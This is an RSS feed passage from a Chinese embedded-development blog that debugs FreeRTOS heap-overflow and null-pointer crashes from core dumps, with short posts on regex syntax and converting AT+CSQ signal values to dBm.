<p>prvInsertBlockIntoFreeList 函数里面，在迭代寻找插入freeblock的位置，访问了0x10000A0D。</p>
<p><img loading="lazy" src="https://github.com/hacperme/picx_hosting/raw/master/20210507/image-20210620163412567.4hv0mf6agzg0.png" alt="image-20210620163412567"  />
</p>
<p>!<img loading="lazy" src="https://github.com/hacperme/picx_hosting/raw/master/20210507/image-20210620162714790.2461hw6qyqww.png" alt="image-20210620162714790"  />
</p>
<p>而0x10000A0D并不是合法的一个8字节对齐的地址， 0x10000A0D &amp; 0x07 = 5，所以会死机。</p>
<p>0x10000A0D 是怎么来的？</p>
<p><img loading="lazy" src="https://github.com/hacperme/picx_hosting/raw/master/20210507/image-20210620153325267.5xuitbr0j300.png" alt="image-20210620153325267"  />
</p>
<p>pdata = 0x10092C90 的block大小是0x408, 减去header大小8也就是1024字节</p>
<p><img loading="lazy" src="https://github.com/hacperme/picx_hosting/raw/master/20210507/image-20210620141934022.4z63idupbwo0.png" alt="image-20210620141934022"  />
</p>
<p>dump 0x10092C90 + 1024的内存数据，\r\n 正好是0x0D，0x0A，内存被踩。</p>
<p>1056 字节的数据是怎么来的？</p>
<p><img loading="lazy" src="https://github.com/hacperme/picx_hosting/raw/master/20210507/image-20210620155459304.1lpiae7j60m8.png" alt="image-20210620155459304"  />
</p>
<p>变量 apb_proxy_event_t apb_proxy_event; 未赋值初始化，可能会有问题。</p>
<p><img loading="lazy" src="https://github.com/hacperme/picx_hosting/raw/master/20210507/image-20210620160200378.329seveimha0.png" alt="image-20210620160200378"  />
</p>
<p><img loading="lazy" src="https://github.com/hacperme/picx_hosting/raw/master/20210507/image-20210620161454398.cnlx6v3k7o0.png" alt="image-20210620161454398"  />
</p>
<p>1024 + 32 = 1056</p>
<p>所以死机根本原因是 0x10092C90  这段内存，写超了1024个字节导致。</p>
<h2 id="coredump_2021-05-28_10-36-39">CoreDump_2021-05-28_10-36-39</h2>
<p>死机log</p>
<p><img loading="lazy" src="https://github.com/hacperme/picx_hosting/raw/master/20210507/image-20210620201147511.ufbv4tnvubk.png" alt="image-20210620201147511"  />
</p>
<p>对应代码，malloc 是，内存block划分得到的地址没有8字节对齐，触发了assert。</p>
<p><img loading="lazy" src="https://github.com/hacperme/picx_hosting/raw/master/20210507/image-20210620201334192.4ps9mpg3ccc0.png" alt="image-20210620201334192"  />
</p>
<p>也是内存被破坏的问题。</p>
<p><img loading="lazy" src="https://github.com/hacperme/picx_hosting/raw/master/20210507/image-20210620165233727.28qkp47nnlj4.png" alt="image-20210620165233727"  />
</p>
<p><img loading="lazy" src="https://github.com/hacperme/picx_hosting/raw/master/20210507/image-20210620171829052.zg7hibkksjk.png" alt="image-20210620171829052"  />
</p>
<p>0x000A0D34 怎么来的？</p>
<p>A*34\r\n 正好是0A 0D 34，猜测也是内存overwrite问题。</p>
<p><img loading="lazy" src="https://github.com/hacperme/picx_hosting/raw/master/20210507/image-20210620180931193.13d0evmpj6cg.png" alt="image-20210620180931193"  />
</p>
<h2 id="coredump_2021-05-28_10-51-25">CoreDump_2021-05-28_10-51-25</h2>
<p>死机log</p>
<p><img loading="lazy" src="https://github.com/hacperme/picx_hosting/raw/master/20210507/image-20210620203453850.6415e2cvr7s0.png" alt="image-20210620203453850"  />
</p>
<p>也是内存被踩问题。</p>
<p><img loading="lazy" src="https://github.com/hacperme/picx_hosting/raw/master/20210507/image-20210620203423097.6f1v04u6sl80.png" alt="image-20210620203423097"  />
</p>
<h2 id="分析总结">分析总结</h2>
<ol>
<li>检查访问的地址是否字节对齐，BC20平台的动态申请内存地址是按8字节对齐的，内存地址&amp;0x07要等于0。</li>
<li>检查全局变量空闲内存列表xStart是否有非法内存地址，地址在不在heap地址范围，链表记录的block地址是否都是字节对齐的。</li>
<li>检查malloc返回的某个地址是否写穿，可以对该 （内存地址-0x8） 解析为 BlockLint_t * 结构体(head 大小占用8字节)，查看这块内存分配的block大小，然后dump这段内存的结束地址，看下一个链表节点纪录的数据是否正常的，有没有被破坏。</li>
<li>BC20平台使用的os是freertos, heap 内存分配策略是first fit方式，且从dump看，内存块的数据结构BlockLint_t 没有记录caller地址。</li>
</ol>
]]></content:encoded>
    </item>
    <item>
      <title>正则表达式备忘清单</title>
      <link>https://hacperme.com/posts/notes/2021-06-06-regular_expression/</link>
      <pubDate>Sun, 06 Jun 2021 22:43:57 +0800</pubDate>
      <guid>https://hacperme.com/posts/notes/2021-06-06-regular_expression/</guid>
      <description>定位 表达式 量词 字符组 POSIX 字符集 描述 [[:alnum:]] 字母数字字符 （字母和数字） [[:alpha:]] 字母字符（字母） [[:ascii:]] ASCII字符 （总共128个） [[:blank:]] 空白字符 [[:ctrl:]] 控制字符 [[:digit:]] 数字 [[:graph:]] 图</description>
      <content:encoded><![CDATA[<h2 id="定位">定位</h2>
<p><img loading="lazy" src="https://cdn.jsdelivr.net/gh/hacperme/picx_hosting/raw/master/20210507/%e5%ae%9a%e4%bd%8d.yjf3jw4m6eo.png" alt=""  />
</p>
<h2 id="表达式">表达式</h2>
<p><img loading="lazy" src="https://cdn.jsdelivr.net/gh/hacperme/picx_hosting/raw/master/20210507/%e8%a1%a8%e8%be%be%e5%bc%8f.1jareij8pwlc.png" alt=""  />
</p>
<h2 id="量词">量词</h2>
<p><img loading="lazy" src="https://cdn.jsdelivr.net/gh/hacperme/picx_hosting/raw/master/20210507/%e9%87%8f%e8%af%8d1.4rsfwbeuejs0.png" alt=""  />
</p>
<p><img loading="lazy" src="https://cdn.jsdelivr.net/gh/hacperme/picx_hosting/raw/master/20210507/%e9%87%8f%e8%af%8d2.3w50kxb49dk0.png" alt=""  />
</p>
<p><img loading="lazy" src="https://cdn.jsdelivr.net/gh/hacperme/picx_hosting/raw/master/20210507/%e9%87%8f%e8%af%8d3.69qjn4ikif80.png" alt=""  />
</p>
<h2 id="字符组">字符组</h2>
<p><img loading="lazy" src="https://cdn.jsdelivr.net/gh/hacperme/picx_hosting/raw/master/20210507/%e5%ad%97%e7%ac%a6%e7%bb%84.6aekjt1hkic0.png" alt=""  />
</p>
<table>
<thead>
<tr>
<th><!-- raw HTML omitted -->POSIX 字符集<!-- raw HTML omitted --></th>
<th><!-- raw HTML omitted -->描述<!-- raw HTML omitted --></th>
</tr>
</thead>
<tbody>
<tr>
<td>[[:alnum:]]</td>
<td>字母数字字符 （字母和数字）</td>
</tr>
<tr>
<td>[[:alpha:]]</td>
<td>字母字符（字母）</td>
</tr>
<tr>
<td>[[:ascii:]]</td>
<td>ASCII字符 （总共128个）</td>
</tr>
<tr>
<td>[[:blank:]]</td>
<td>空白字符</td>
</tr>
<tr>
<td>[[:ctrl:]]</td>
<td>控制字符</td>
</tr>
<tr>
<td>[[:digit:]]</td>
<td>数字</td>
</tr>
<tr>
<td>[[:graph:]]</td>
<td>图形字符</td>
</tr>
<tr>
<td>[[:lower:]]</td>
<td>小写字母</td>
</tr>
<tr>
<td>[[:print:]]</td>
<td>可打印字符</td>
</tr>
<tr>
<td>[[:punct:]]</td>
<td>标点符号</td>
</tr>
<tr>
<td>[[:space:]]</td>
<td>空格字符</td>
</tr>
<tr>
<td>[[:upper:]]</td>
<td>大写字母</td>
</tr>
<tr>
<td>[[:word:]]</td>
<td>单词字符</td>
</tr>
<tr>
<td>[[:xdigit:]]</td>
<td>十六进制数字</td>
</tr>
</tbody>
</table>
<h2 id="关于量词的贪心懒惰占有">关于量词的贪心、懒惰、占有</h2>
<ul>
<li>量词首次尝试匹配整个字符串，如果失败则回退一个字符后再次尝试，这个过程叫做回溯（backtracking）。</li>
<li>量词自身是贪心的。</li>
<li>贪心的量词会首先匹配整个字符串。尝试匹配时，它会选定尽可能多的内容，也就是整个输入，它会每次回退一个字符，直到找到匹配的内容或者没有字符可尝试为止。此外，它还记录所有的行为，因此资源的消耗较大。</li>
<li>懒惰的量词会从目标的起始位置开始尝试寻找匹配，每次检查字符串的一个字符，寻找它要匹配的内容，最后，它会尝试匹配整个字符串。</li>
<li>占有量词会覆盖整个目标然后尝试寻找匹配内容，但它只尝试一次，不会回溯。</li>
</ul>
]]></content:encoded>
    </item>
    <item>
      <title>AT&#43;CSQ 与 dBm 的那些事</title>
      <link>https://hacperme.com/posts/notes/2021-06-06-at_csq_in_dbm/</link>
      <pubDate>Sun, 06 Jun 2021 22:34:54 +0800</pubDate>
      <guid>https://hacperme.com/posts/notes/2021-06-06-at_csq_in_dbm/</guid>
      <description>AT+CSQ 是一条查询设备信号质量的 AT 指令。下面是一个查询信号质量的示例： 1 2 3 4 5 6 7 8 9 10 11 AT+CSQ=? +CSQ: (0-31,99),(0-7,99) OK AT+CSQ +CSQ: 28,99 OK AT指令响应+CSQ: 28,99 中的信号等级2</description>
      <content:encoded><![CDATA[<p>AT+CSQ 是一条查询设备信号质量的 AT 指令。下面是一个查询信号质量的示例：</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt"> 1
</span><span class="lnt"> 2
</span><span class="lnt"> 3
</span><span class="lnt"> 4
</span><span class="lnt"> 5
</span><span class="lnt"> 6
</span><span class="lnt"> 7
</span><span class="lnt"> 8
</span><span class="lnt"> 9
</span><span class="lnt">10
</span><span class="lnt">11
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-shell" data-lang="shell"><span class="line"><span class="cl">AT+CSQ<span class="o">=</span>?
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">+CSQ: <span class="o">(</span>0-31,99<span class="o">)</span>,<span class="o">(</span>0-7,99<span class="o">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">OK
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">AT+CSQ
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">+CSQ: 28,99
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">OK
</span></span></code></pre></td></tr></table>
</div>
</div><p>AT指令响应+CSQ: 28,99 中的信号等级28表示 rssi -57dBm，其转换公式如下：</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">dBm = -113 + N * 2 (where N is the returned value)
</span></span></code></pre></td></tr></table>
</div>
</div><p><img loading="lazy" src="https://cdn.jsdelivr.net/gh/hacperme/picx_hosting/raw/master/20210507/csq_in_dBm.7aknpv7dfrk0.png" alt="csq_in_dBm"  />
</p>
<p>CSQ与dBm的对应关系如下表：</p>
<table>
<thead>
<tr>
<th><!-- raw HTML omitted --><strong>Value</strong><!-- raw HTML omitted --></th>
<th><!-- raw HTML omitted --><strong>RSSI dBm</strong><!-- raw HTML omitted --></th>
<th><!-- raw HTML omitted --><strong>Condition</strong><!-- raw HTML omitted --></th>
</tr>
</thead>
<tbody>
<tr>
<td>0</td>
<td>-113</td>
<td>Marginal</td>
</tr>
<tr>
<td>1</td>
<td>-112</td>
<td>Marginal</td>
</tr>
<tr>
<td>2</td>
<td>-109</td>
<td>Marginal</td>
</tr>
<tr>
<td>3</td>
<td>-107</td>
<td>Marginal</td>
</tr>
<tr>
<td>4</td>
<td>-105</td>
<td>Marginal</td>
</tr>
<tr>
<td>5</td>
<td>-103</td>
<td>Marginal</td>
</tr>
<tr>
<td>6</td>
<td>-101</td>
<td>Marginal</td>
</tr>
<tr>
<td>7</td>
<td>-99</td>
<td>Marginal</td>
</tr>
<tr>
<td>8</td>
<td>-97</td>
<td>Marginal</td>
</tr>
<tr>
<td>9</td>
<td>-95</td>
<td>Marginal</td>
</tr>
<tr>
<td>10</td>
<td>-93</td>
<td>OK</td>
</tr>
<tr>
<td>11</td>
<td>-91</td>
<td>OK</td>
</tr>
<tr>
<td>12</td>
<td>-89</td>
<td>OK</td>
</tr>
<tr>
<td>13</td>
<td>-87</td>
<td>OK</td>
</tr>
<tr>
<td>14</td>
<td>-85</td>
<td>OK</td>
</tr>
<tr>
<td>15</td>
<td>-83</td>
<td>Good</td>
</tr>
<tr>
<td>16</td>
<td>-81</td>
<td>Good</td>
</tr>
<tr>
<td>17</td>
<td>-79</td>
<td>Good</td>
</tr>
<tr>
<td>18</td>
<td>-77</td>
<td>Good</td>
</tr>
<tr>
<td>19</td>
<td>-75</td>
<td>Good</td>
</tr>
<tr>
<td>20</td>
<td>-73</td>
<td>Excellent</td>
</tr>
<tr>
<td>21</td>
<td>-71</td>
<td>Excellent</td>
</tr>
<tr>
<td>22</td>
<td>-69</td>
<td>Excellent</td>
</tr>
<tr>
<td>23</td>
<td>-67</td>
<td>Excellent</td>
</tr>
<tr>
<td>24</td>
<td>-65</td>
<td>Excellent</td>
</tr>
<tr>
<td>25</td>
<td>-63</td>
<td>Excellent</td>
</tr>
<tr>
<td>26</td>
<td>-61</td>
<td>Excellent</td>
</tr>
<tr>
<td>27</td>
<td>-59</td>
<td>Excellent</td>
</tr>
<tr>
<td>28</td>
<td>-57</td>
<td>Excellent</td>
</tr>
<tr>
<td>29</td>
<td>-55</td>
<td>Excellent</td>
</tr>
<tr>
<td>30</td>
<td>-53</td>
<td>Excellent</td>
</tr>
</tbody>
</table>
<p>从这个表可以得出以下几个结论：</p>
<ol>
<li>CSQ的变化粒度是2dBm。</li>
<li>信号质量的划分，0<del>9 （-113</del>-95dBm）信号差；10<del>14（-93</del>-85dBm）信号一般；15<del>19 （-83</del>-75dBm）信号好；20<del>30（-73</del>-53dBm）信号很好。</li>
</ol>
]]></content:encoded>
    </item>
    <item>
      <title>用 Trace32 分析死机问题</title>
      <link>https://hacperme.com/posts/series/dump/2021-05-10_hnd_trace32_dump/</link>
      <pubDate>Mon, 10 May 2021 13:28:48 +0800</pubDate>
      <guid>https://hacperme.com/posts/series/dump/2021-05-10_hnd_trace32_dump/</guid>
      <description>出现死机问题的设备是展锐8910，打开Trace32软件，导入设备死机时的dump文件进行分析。如下图： 先看死机时PC停止的位置，对应的汇编</description>
      <content:encoded><![CDATA[<p>出现死机问题的设备是展锐8910，打开Trace32软件，导入设备死机时的dump文件进行分析。如下图：</p>
<p><img loading="lazy" src="https://github.com/hacperme/picx_hosting/raw/master/20210507/Untitled.6pc338h1s6c0.png" alt=""  />
</p>
<p>先看死机时PC停止的位置，对应的汇编代码是 ldrb r2,[r1,#0x5]，结合trace32中寄存器的值来看，可以确定死机原因是访问非法内存， r1 寄存器为0，也就是访问0地址（空指针）导致死机。</p>
<p>下面分析出现访问空指针问题的具体原因。</p>
<p>先分析当前的函数调用栈，为了方便查看，把调用栈信息复制出来，如下所示：</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt"> 1
</span><span class="lnt"> 2
</span><span class="lnt"> 3
</span><span class="lnt"> 4
</span><span class="lnt"> 5
</span><span class="lnt"> 6
</span><span class="lnt"> 7
</span><span class="lnt"> 8
</span><span class="lnt"> 9
</span><span class="lnt">10
</span><span class="lnt">11
</span><span class="lnt">12
</span><span class="lnt">13
</span><span class="lnt">14
</span><span class="lnt">15
</span><span class="lnt">16
</span><span class="lnt">17
</span><span class="lnt">18
</span><span class="lnt">19
</span><span class="lnt">20
</span><span class="lnt">21
</span><span class="lnt">22
</span><span class="lnt">23
</span><span class="lnt">24
</span><span class="lnt">25
</span><span class="lnt">26
</span><span class="lnt">27
</span><span class="lnt">28
</span><span class="lnt">29
</span><span class="lnt">30
</span><span class="lnt">31
</span><span class="lnt">32
</span><span class="lnt">33
</span><span class="lnt">34
</span><span class="lnt">35
</span><span class="lnt">36
</span><span class="lnt">37
</span><span class="lnt">38
</span><span class="lnt">39
</span><span class="lnt">40
</span><span class="lnt">41
</span><span class="lnt">42
</span><span class="lnt">43
</span><span class="lnt">44
</span><span class="lnt">45
</span><span class="lnt">46
</span><span class="lnt">47
</span><span class="lnt">48
</span><span class="lnt">49
</span><span class="lnt">50
</span><span class="lnt">51
</span><span class="lnt">52
</span><span class="lnt">53
</span><span class="lnt">54
</span><span class="lnt">55
</span><span class="lnt">56
</span><span class="lnt">57
</span><span class="lnt">58
</span><span class="lnt">59
</span><span class="lnt">60
</span><span class="lnt">61
</span><span class="lnt">62
</span><span class="lnt">63
</span><span class="lnt">64
</span><span class="lnt">65
</span><span class="lnt">66
</span><span class="lnt">67
</span><span class="lnt">68
</span><span class="lnt">69
</span><span class="lnt">70
</span><span class="lnt">71
</span><span class="lnt">72
</span><span class="lnt">73
</span><span class="lnt">74
</span><span class="lnt">75
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-c" data-lang="c"><span class="line"><span class="cl"><span class="nf">ql_open_file_get_info</span><span class="p">(</span>
</span></span><span class="line"><span class="cl">    <span class="n">position</span> <span class="o">=</span> <span class="o">?</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="n">file_info</span> <span class="o">=</span> <span class="mh">0x80CD343C</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">  <span class="n">err</span> <span class="o">=</span> <span class="mi">0</span>
</span></span><span class="line"><span class="cl">  <span class="n">node</span> <span class="o">=</span> <span class="mh">0x0</span>
</span></span><span class="line"><span class="cl">  <span class="n">__FUNCTION__</span> <span class="o">=</span> <span class="p">(</span><span class="mi">113</span><span class="p">,</span> <span class="mi">108</span><span class="p">,</span> <span class="mi">95</span><span class="p">,</span> <span class="mi">111</span><span class="p">,</span> <span class="mi">112</span><span class="p">,</span> <span class="mi">101</span><span class="p">,</span> <span class="mi">110</span><span class="p">,</span> <span class="mi">95</span><span class="p">,</span> <span class="mi">102</span><span class="p">,</span> <span class="mi">105</span><span class="p">,</span> <span class="mi">108</span><span class="p">,</span> <span class="mi">101</span><span class="p">,</span> <span class="mi">95</span><span class="p">,</span> <span class="mi">103</span><span class="p">,</span> <span class="mi">101</span><span class="p">,</span> <span class="mi">116</span><span class="p">,</span> <span class="mi">95</span><span class="p">,</span> <span class="mi">1</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="nf">ql_file_is_opened</span><span class="p">(</span>
</span></span><span class="line"><span class="cl">    <span class="n">file_name</span> <span class="o">=</span> <span class="mh">0x80CD3614</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">  <span class="n">cnt</span> <span class="o">=</span> <span class="mi">8</span>
</span></span><span class="line"><span class="cl">  <span class="n">err</span> <span class="o">=</span> <span class="o">-</span><span class="mi">2134035396</span>
</span></span><span class="line"><span class="cl">  <span class="n">position</span> <span class="o">=</span> <span class="mi">7</span>
</span></span><span class="line"><span class="cl">  <span class="n">file_info</span> <span class="o">=</span> <span class="p">(</span>
</span></span><span class="line"><span class="cl">    <span class="n">file_name</span> <span class="o">=</span> <span class="p">(</span><span class="mi">85</span><span class="p">,</span> <span class="mi">70</span><span class="p">,</span> <span class="mi">83</span><span class="p">,</span> <span class="mi">58</span><span class="p">,</span> <span class="mi">106</span><span class="p">,</span> <span class="mi">115</span><span class="p">,</span> <span class="mi">111</span><span class="p">,</span> <span class="mi">110</span><span class="p">,</span> <span class="mi">46</span><span class="p">,</span> <span class="mi">116</span><span class="p">,</span> <span class="mi">120</span><span class="p">,</span> <span class="mi">116</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">79</span><span class="p">,</span> <span class="mi">189</span><span class="p">,</span> <span class="mi">128</span><span class="p">,</span> <span class="mi">12</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">0</span>
</span></span><span class="line"><span class="cl">    <span class="n">file_open_mode</span> <span class="o">=</span> <span class="mi">522</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="n">fd</span> <span class="o">=</span> <span class="mi">1033</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="nf">ql_fopen</span><span class="p">(</span>
</span></span><span class="line"><span class="cl">    <span class="n">file_name</span> <span class="o">=</span> <span class="mh">0x80CD3614</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="n">mode</span> <span class="o">=</span> <span class="mh">0x6032500C</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">  <span class="n">file_real_path</span> <span class="o">=</span> <span class="p">(</span><span class="mi">47</span><span class="p">,</span> <span class="mi">117</span><span class="p">,</span> <span class="mi">115</span><span class="p">,</span> <span class="mi">101</span><span class="p">,</span> <span class="mi">114</span><span class="p">,</span> <span class="mi">47</span><span class="p">,</span> <span class="mi">47</span><span class="p">,</span> <span class="mi">99</span><span class="p">,</span> <span class="mi">111</span><span class="p">,</span> <span class="mi">114</span><span class="p">,</span> <span class="mi">103</span><span class="p">,</span> <span class="mi">101</span><span class="p">,</span> <span class="mi">116</span><span class="p">,</span> <span class="mi">47</span><span class="p">,</span> <span class="mi">99</span><span class="p">,</span> <span class="mi">111</span><span class="p">,</span> <span class="mi">110</span><span class="p">,</span> <span class="mi">1</span>
</span></span><span class="line"><span class="cl">  <span class="n">file_type</span> <span class="o">=</span> <span class="mi">0</span>
</span></span><span class="line"><span class="cl">  <span class="n">open_mode</span> <span class="o">=</span> <span class="mi">1537</span>
</span></span><span class="line"><span class="cl">  <span class="n">file_info</span> <span class="o">=</span> <span class="p">(</span>
</span></span><span class="line"><span class="cl">    <span class="n">file_name</span> <span class="o">=</span> <span class="p">(</span><span class="mi">12</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">122</span><span class="p">,</span> <span class="mi">46</span><span class="p">,</span> <span class="mi">49</span><span class="p">,</span> <span class="mi">96</span><span class="p">,</span> <span class="mi">52</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">176</span><span class="p">,</span> <span class="mi">70</span><span class="p">,</span> <span class="mi">49</span><span class="p">,</span> <span class="mi">96</span><span class="p">,</span> <span class="mi">16</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">80</span><span class="p">,</span> <span class="mi">53</span><span class="p">,</span> <span class="mi">20</span>
</span></span><span class="line"><span class="cl">    <span class="n">file_open_mode</span> <span class="o">=</span> <span class="mi">970205137</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="n">fd</span> <span class="o">=</span> <span class="o">-</span><span class="mi">2134034952</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">  <span class="n">err</span> <span class="o">=</span> <span class="o">-</span><span class="mi">2134035396</span>
</span></span><span class="line"><span class="cl">  <span class="n">__FUNCTION__</span> <span class="o">=</span> <span class="p">(</span><span class="mi">113</span><span class="p">,</span> <span class="mi">108</span><span class="p">,</span> <span class="mi">95</span><span class="p">,</span> <span class="mi">102</span><span class="p">,</span> <span class="mi">111</span><span class="p">,</span> <span class="mi">112</span><span class="p">,</span> <span class="mi">101</span><span class="p">,</span> <span class="mi">110</span><span class="p">,</span> <span class="mi">0</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="nf">OEMFile_Open</span><span class="p">(</span>
</span></span><span class="line"><span class="cl">    <span class="n">path</span> <span class="o">=</span> <span class="mh">0x6032D8A8</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="n">oflag</span> <span class="o">=</span> <span class="mh">0x6032500C</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">  <span class="n">fd</span> <span class="o">=</span> <span class="o">-</span><span class="mi">2134035396</span>
</span></span><span class="line"><span class="cl">  <span class="n">_path</span> <span class="o">=</span> <span class="p">(</span><span class="mi">85</span><span class="p">,</span> <span class="mi">70</span><span class="p">,</span> <span class="mi">83</span><span class="p">,</span> <span class="mi">58</span><span class="p">,</span> <span class="mi">47</span><span class="p">,</span> <span class="mi">99</span><span class="p">,</span> <span class="mi">111</span><span class="p">,</span> <span class="mi">114</span><span class="p">,</span> <span class="mi">103</span><span class="p">,</span> <span class="mi">101</span><span class="p">,</span> <span class="mi">116</span><span class="p">,</span> <span class="mi">47</span><span class="p">,</span> <span class="mi">99</span><span class="p">,</span> <span class="mi">111</span><span class="p">,</span> <span class="mi">110</span><span class="p">,</span> <span class="mi">102</span><span class="p">,</span> <span class="mi">105</span><span class="p">,</span> <span class="mi">103</span><span class="p">,</span> <span class="mi">46</span><span class="p">,</span> <span class="mi">116</span>
</span></span><span class="line"><span class="cl">  <span class="n">__FUNCTION__</span> <span class="o">=</span> <span class="p">(</span><span class="mi">79</span><span class="p">,</span> <span class="mi">69</span><span class="p">,</span> <span class="mi">77</span><span class="p">,</span> <span class="mi">70</span><span class="p">,</span> <span class="mi">105</span><span class="p">,</span> <span class="mi">108</span><span class="p">,</span> <span class="mi">101</span><span class="p">,</span> <span class="mi">95</span><span class="p">,</span> <span class="mi">79</span><span class="p">,</span> <span class="mi">112</span><span class="p">,</span> <span class="mi">101</span><span class="p">,</span> <span class="mi">110</span><span class="p">,</span> <span class="mi">0</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span>
</span></span><span class="line"><span class="cl"><span class="n">CEMConfig</span><span class="o">::</span><span class="nf">SaveConfig</span><span class="p">(</span>
</span></span><span class="line"><span class="cl">    <span class="n">this</span> <span class="o">=</span> <span class="mh">0x80CD4578</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">  <span class="n">pFile</span> <span class="o">=</span> <span class="mh">0x80CD343C</span>
</span></span><span class="line"><span class="cl">  <span class="n">buf</span> <span class="o">=</span> <span class="p">(</span><span class="mi">168</span><span class="p">,</span> <span class="mi">46</span><span class="p">,</span> <span class="mi">167</span><span class="p">,</span> <span class="mi">128</span><span class="p">,</span> <span class="mi">224</span><span class="p">,</span> <span class="mi">33</span><span class="p">,</span> <span class="mi">158</span><span class="p">,</span> <span class="mi">128</span><span class="p">,</span> <span class="mi">196</span><span class="p">,</span> <span class="mi">32</span><span class="p">,</span> <span class="mi">154</span><span class="p">,</span> <span class="mi">128</span><span class="p">,</span> <span class="mi">221</span><span class="p">,</span> <span class="mi">214</span><span class="p">,</span> <span class="mi">33</span><span class="p">,</span> <span class="mi">96</span><span class="p">,</span> <span class="mi">4</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">248</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">CSystemEngine</span><span class="o">::</span><span class="nf">SaveConfig</span><span class="p">(</span>
</span></span><span class="line"><span class="cl">    <span class="n">this</span> <span class="o">=</span> <span class="mh">0x80CD48A8</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">  <span class="n">buffer</span> <span class="o">=</span> <span class="p">(</span><span class="mi">52</span><span class="p">,</span> <span class="mi">50</span><span class="p">,</span> <span class="mi">57</span><span class="p">,</span> <span class="mi">52</span><span class="p">,</span> <span class="mi">57</span><span class="p">,</span> <span class="mi">54</span><span class="p">,</span> <span class="mi">55</span><span class="p">,</span> <span class="mi">50</span><span class="p">,</span> <span class="mi">57</span><span class="p">,</span> <span class="mi">53</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">128</span><span class="p">,</span> <span class="mi">140</span><span class="p">,</span> <span class="mi">148</span><span class="p">,</span> <span class="mi">220</span><span class="p">,</span> <span class="mi">128</span><span class="p">,</span> <span class="mi">68</span><span class="p">,</span> <span class="mi">122</span><span class="p">,</span> <span class="mi">220</span><span class="p">,</span> <span class="mi">128</span><span class="p">,</span> <span class="mi">1</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">CPocUIManager</span><span class="o">::</span><span class="nf">HandleATCommand</span><span class="p">(</span>
</span></span><span class="line"><span class="cl">    <span class="n">this</span> <span class="o">=</span> <span class="mh">0x80CD3C50</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="n">aData</span> <span class="o">=</span> <span class="mh">0x80CD42AC</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="n">aLength</span> <span class="o">=</span> <span class="mi">4</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">  <span class="n">mtd</span> <span class="o">=</span> <span class="mi">124</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">CPocUIManager</span><span class="o">::</span><span class="nf">HandleATMessage</span><span class="p">(</span>
</span></span><span class="line"><span class="cl">    <span class="n">this</span> <span class="o">=</span> <span class="mh">0x80CD3C50</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="n">pMsg</span> <span class="o">=</span> <span class="mh">0x80C3EAA8</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">  <span class="n">param_length</span> <span class="o">=</span> <span class="mi">4</span>
</span></span><span class="line"><span class="cl">  <span class="n">res</span> <span class="o">=</span> <span class="o">-</span><span class="mi">2134035396</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="nf">OEM_PendMessage</span><span class="p">(</span>
</span></span><span class="line"><span class="cl">    <span class="n">pmsg</span> <span class="o">=</span> <span class="mh">0x80A72D18</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">  <span class="n">msg</span> <span class="o">=</span> <span class="mh">0x80A72D18</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="nf">ql_corget_api_task_worker</span><span class="p">(</span>
